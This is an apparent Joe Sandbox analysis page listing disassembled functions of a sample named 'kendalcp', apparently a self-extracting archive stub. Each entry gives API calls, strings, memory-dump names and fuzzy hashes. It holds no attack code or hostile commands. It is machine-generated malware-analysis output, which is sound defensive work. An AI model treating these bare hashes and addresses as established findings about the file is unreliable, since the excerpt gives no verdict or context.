Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: ce73a701da996a3d91cb6b080da024139c2f4abffad3f5eb65c417f443fcaadc
Instruction ID: c8a07b6a0c64307eaac57f7c23fe47cef31fc7da6c6871201dcb1620cc468bac
Opcode Fuzzy Hash: ce73a701da996a3d91cb6b080da024139c2f4abffad3f5eb65c417f443fcaadc
Instruction Fuzzy Hash: 6C31D070D08248EEEF24EB689C49BEE7BB9AF05304F004255F445AB1C2CBBD5A44CBA1

Function 0071A430 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 0070130B: GetDlgItem.USER32(00000000,00003021), ref: 0070134F
Part of subcall function 0070130B: SetWindowTextW.USER32(00000000,007335B4), ref: 00701365

EndDialog.USER32(?,00000001), ref: 0071A4B8
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 0071A4CD
SetDlgItemTextW.USER32(?,00000066,?), ref: 0071A4E2

Strings

ASKNEXTVOL, xrefs: 0071A448

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: d4425e207418b1092b61d1924dae7b3eb1253775de5f12077c8ca30a7c1377ee
Instruction ID: 6a2015fce33f567e34ef8311d0803049154b7ef825bd9c4a47bcce852bc5cdc8
Opcode Fuzzy Hash: d4425e207418b1092b61d1924dae7b3eb1253775de5f12077c8ca30a7c1377ee
Instruction Fuzzy Hash: 0211D032245380BFE7218FAC9D4DFA677A9EB5A300F144104FA42AB0E1C7EE9945D776

Function 0070D1C3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 0070D22E
_strncpy.LIBCMT ref: 0070D278

Strings

@%s, xrefs: 0070D218
$%s, xrefs: 0070D223

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: __fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 1857242416-834177443
Opcode ID: 8d338e7335817c5e3a1cd5bec9d64208d54859ba942f5ce5862b9c870379670b
Instruction ID: 99ba366e6f90e4b60a329d2e6dccea275f0ea979eed58a6babcd733a014dc08e
Opcode Fuzzy Hash: 8d338e7335817c5e3a1cd5bec9d64208d54859ba942f5ce5862b9c870379670b
Instruction Fuzzy Hash: 06214F7254030CEAEB31DEE4CD4AFEA7BE8AF04300F040612FA15961D2E7B9EA559B51

Function 0070B4F7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0070B51E

Part of subcall function 0070400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 0070401D

_wcschr.LIBVCRUNTIME ref: 0070B53C
_wcschr.LIBVCRUNTIME ref: 0070B54C

Strings

%c:\, xrefs: 0070B514

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 525462905-3142399695
Opcode ID: 8c5ee98dbf7f14de5aceb9c090f30a55dea76988336ed0eb63a9c0fd2db2fc73
Instruction ID: be600de76d2d1eca5767d7bb7d10466096b32e2c3ce07f40ce66cad3e615e479
Opcode Fuzzy Hash: 8c5ee98dbf7f14de5aceb9c090f30a55dea76988336ed0eb63a9c0fd2db2fc73
Instruction Fuzzy Hash: B301F953904311FAD720AB75AC8BC6BB7ECEE95360B504656F945C60C1FB3CDB60C2A1

Function 007106BA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,0070ABC5,00000008,?,00000000,?,0070CB88,?,00000000), ref: 007106F3
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,0070ABC5,00000008,?,00000000,?,0070CB88,?,00000000), ref: 007106FD
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,0070ABC5,00000008,?,00000000,?,0070CB88,?,00000000), ref: 0071070D

Strings

Thread pool initialization failed., xrefs: 00710725

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: ea3ef311e3868082cef1b0727f0a15d8a31e9bf21d2511764965512cf60d986b
Instruction ID: c4a72373cb4bb0ae5b1d956779badf9bbaa22e26712191bb44295df66b66a68d
Opcode Fuzzy Hash: ea3ef311e3868082cef1b0727f0a15d8a31e9bf21d2511764965512cf60d986b
Instruction Fuzzy Hash: 9D11A3B1500708AFD3315F69C888AA7FBECFB54745F10492EF1DA82240D6B569C0CBA4

Function 0071D38B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

RENAMEDLG, xrefs: 0071D3DE
REPLACEFILEDLG, xrefs: 0071D3C9, 0071D3FD

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: ad0a9c60d302dcc68b82bb021808dcd3ed4a734e9c6ee6b7f1e1e41e88e085f2
Instruction ID: 301ad6922480f0fe9c7a7f9473a9851abad4871885c253058448df4c1f17ede2
Opcode Fuzzy Hash: ad0a9c60d302dcc68b82bb021808dcd3ed4a734e9c6ee6b7f1e1e41e88e085f2
Instruction Fuzzy Hash: EF01B57550039AAFDB619F5CED04ADA3BA9E705381F048422FD05D22B1C77DAC90EFA6

Function 0071D287 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 0071D29D
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 0071D2D9

Strings

sfxcmd, xrefs: 0071D298
sfxpar, xrefs: 0071D2D4

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: 7c80e379f87cf8f2f3ac77f038ca496322745209316d51b768abda4c82829175
Instruction ID: a2c247aa9481695ea6453387ccd769bd5987048b72a886ec6477077b87d84dd5
Opcode Fuzzy Hash: 7c80e379f87cf8f2f3ac77f038ca496322745209316d51b768abda4c82829175
Instruction Fuzzy Hash: 21F0A7B291062CE6E7302FA89C1AEFA7798FF09742B004512FC4456181D67DCD80DAF1

Function 007291DE Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00729269
__alldvrm.LIBCMT ref: 0072946A
__alldvrm.LIBCMT ref: 0072948C

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: e90b1fa23aba202bba093109adefdb56eea12b49e9ded63ef510ee75c2e44a9f
Instruction ID: bb41ec64262450c47f8c8c1884a123da10fb86dba00495c0ccdf4c6006b59954
Opcode Fuzzy Hash: e90b1fa23aba202bba093109adefdb56eea12b49e9ded63ef510ee75c2e44a9f
Instruction Fuzzy Hash: 9BA159729003A6DFEB21DF58E8917AEBBE5FF55310F1C416DEA859B282C23C9942C750

Function 0070A2AB Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000000,?,007080B7,?,?,?), ref: 0070A351
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00000000,?,007080B7,?,?), ref: 0070A395
SetFileTime.KERNEL32(?,00000800,?,00000000,?,00000000,?,007080B7,?,?,?,?,?,?,?,?), ref: 0070A416
CloseHandle.KERNEL32(?,?,00000000,?,007080B7,?,?,?,?,?,?,?,?,?,?,?), ref: 0070A41D

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 756830889884de62cdc89619f0fcaa0384b1efd34d0b78ef4653f804cd1a4faf
Instruction ID: 043c38a08140e1a600794c71e6eeb353240160a825aafd8017d9c0f8fdcdf50e
Opcode Fuzzy Hash: 756830889884de62cdc89619f0fcaa0384b1efd34d0b78ef4653f804cd1a4faf
Instruction Fuzzy Hash: AC41BE71248385EAE731DF28DC55FEABBE4AB95700F040A1DB5D0D31C1D6A89A889B53

Function 0072C099 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,007289AD,?,00000000,?,00000001,?,?,00000001,007289AD,?), ref: 0072C0E6
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0072C16F
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,007267E2,?), ref: 0072C181
__freea.LIBCMT ref: 0072C18A

Part of subcall function 00728518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0072C13D,00000000,?,007267E2,?,00000008,?,007289AD,?,?,?), ref: 0072854A

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: dc08c0522017b7a67197b651dd28c6fffe5cfff5e5b05ff852ee1ff291459ecf
Instruction ID: 7c9b72004495d869ad7af59549ff818b3fe4ca57cae7e8be39de4a2f260a31e1
Opcode Fuzzy Hash: dc08c0522017b7a67197b651dd28c6fffe5cfff5e5b05ff852ee1ff291459ecf
Instruction Fuzzy Hash: 7B31C3B2A0012AEBEF258F64EC46DEE7BA5EB54710F154228FC04D7191E739CD60CBA1

Function 00719DBB Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00719DBE
GetDeviceCaps.GDI32(00000000,00000058), ref: 00719DCD
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00719DDB
ReleaseDC.USER32(00000000,00000000), ref: 00719DE9

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 603e541a29309939f3688142909fc1974e4ade2424ad40b8fda4c1265bad2f36
Instruction ID: 907a9cccb0735da772d06cc7cdd663e73a4a9c46df5f91e95e358cf597fb5dc9
Opcode Fuzzy Hash: 603e541a29309939f3688142909fc1974e4ade2424ad40b8fda4c1265bad2f36
Instruction Fuzzy Hash: E8E0EC35985B21A7D3A01BA9BD0DB8F3B54AB0A762F098005FB06A61D1DBB84446CB99

Function 00722016 Relevance: 6.0, APIs: 4, Instructions: 14COMMON

Download Yara Rule

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00722016
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 0072201B
___vcrt_initialize_locks.LIBVCRUNTIME ref: 00722020

Part of subcall function 0072310E: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 0072311F

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00722035

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: 50341c1e121bd6f5d5b78c5b3ee2afe6a0478775b34c66270a9efbcfed992c13
Instruction ID: 64f41c4a51cacc64c0e12a4c02833064a954fbb2d5bbdd1e434f78b8155ff9f2
Opcode Fuzzy Hash: 50341c1e121bd6f5d5b78c5b3ee2afe6a0478775b34c66270a9efbcfed992c13
Instruction Fuzzy Hash: DBC04C24004A78F51C313AB1320A5BD07000D62BC4BA225C2E98017143DE1E872BA032

Function 00719F5D Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 00719DF1: GetDC.USER32(00000000), ref: 00719DF5
Part of subcall function 00719DF1: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00719E00
Part of subcall function 00719DF1: ReleaseDC.USER32(00000000,00000000), ref: 00719E0B

GetObjectW.GDI32(?,00000018,?), ref: 00719F8D

Part of subcall function 0071A1E5: GetDC.USER32(00000000), ref: 0071A1EE
Part of subcall function 0071A1E5: GetObjectW.GDI32(?,00000018,?), ref: 0071A21D
Part of subcall function 0071A1E5: ReleaseDC.USER32(00000000,?), ref: 0071A2B5

Strings

(, xrefs: 0071A0A3

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: 28f4f67d29bd037cde75bcf749f25477ce94cc5e9ff178a9e81ec8921c49f82f
Instruction ID: 426d4e7968f51ea21cf676a1eae938de3fa5aa439b11e17732bf22d3bbbf9e38
Opcode Fuzzy Hash: 28f4f67d29bd037cde75bcf749f25477ce94cc5e9ff178a9e81ec8921c49f82f
Instruction Fuzzy Hash: 1B811371208314AFD714DF68C84496BBBE9FF88710F00891DF98AD72A0DB79AD06DB52

Function 00710E37 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00710FF1

Strings

%s: %s, xrefs: 00711000
%ls, xrefs: 00710E76, 00710E8C

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: 4f575662ee4f455ea1a240f3591fec4e2512432d760be696e9f4f5331f12f3be
Instruction ID: 4353d09f03791ba9da1a9378721ccfe51fff3190b1a2e68c45903d0d95021647
Opcode Fuzzy Hash: 4f575662ee4f455ea1a240f3591fec4e2512432d760be696e9f4f5331f12f3be
Instruction Fuzzy Hash: 6751C63168C740F9EB312AACDD17FF67659E708F00F208906F38A684D1C6DE55E46693

Function 0070772B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00707730
SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 007078CC

Part of subcall function 0070A444: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0070A27A,?,?,?,0070A113,?,00000001,00000000,?,?), ref: 0070A458
Part of subcall function 0070A444: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0070A27A,?,?,?,0070A113,?,00000001,00000000,?,?), ref: 0070A489

Strings

:, xrefs: 007077A1

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: File$Attributes$H_prologTime
String ID: :
API String ID: 1861295151-336475711
Opcode ID: aab568947ade30b724116d563037e092fcc5522834d17916f2a69bb14e0759a7
Instruction ID: 00420676f837e2ebaff862e908ca0675e5dc3a008e39d3c6dab3809cfe55e3b1
Opcode Fuzzy Hash: aab568947ade30b724116d563037e092fcc5522834d17916f2a69bb14e0759a7
Instruction Fuzzy Hash: 2D416571805158EADB24EB50DD59EEE73FCAF45340F008299B609A21D2DB7C6F84CF61

Function 0070B66C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

UNC, xrefs: 0070B708
\\?\, xrefs: 0070B6BE, 0070B6FA, 0070B75B, 0070B7AE

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID:
String ID: UNC$\\?\
API String ID: 0-253988292
Opcode ID: adf1d0a4dae973dec83b8000c674db7556ab7995a57ec5dac0326ab28247f620
Instruction ID: 7b8db55cfaae9f230658a94fcaab9a7c8f079d2d576f8d1a7688c8612f06f939
Opcode Fuzzy Hash: adf1d0a4dae973dec83b8000c674db7556ab7995a57ec5dac0326ab28247f620
Instruction Fuzzy Hash: 9841813544021AEACB30AF61DC45EEB77E9AF45750F104626F814A71D2E77CEB50CAA4

Function 00718FB6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00718FC4

Strings

Shell.Explorer, xrefs: 00718FEF
about:blank, xrefs: 00719082

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID:
String ID: Shell.Explorer$about:blank
API String ID: 0-874089819
Opcode ID: 6e9f9e3aa9a2e56c374d3de050bfb2b522bd0037811b87fd90bbd9fa5482fce8
Instruction ID: 526f039c41f84b4857d0644c9e3b0c09aece1d038a8514c447d848a813faf52d
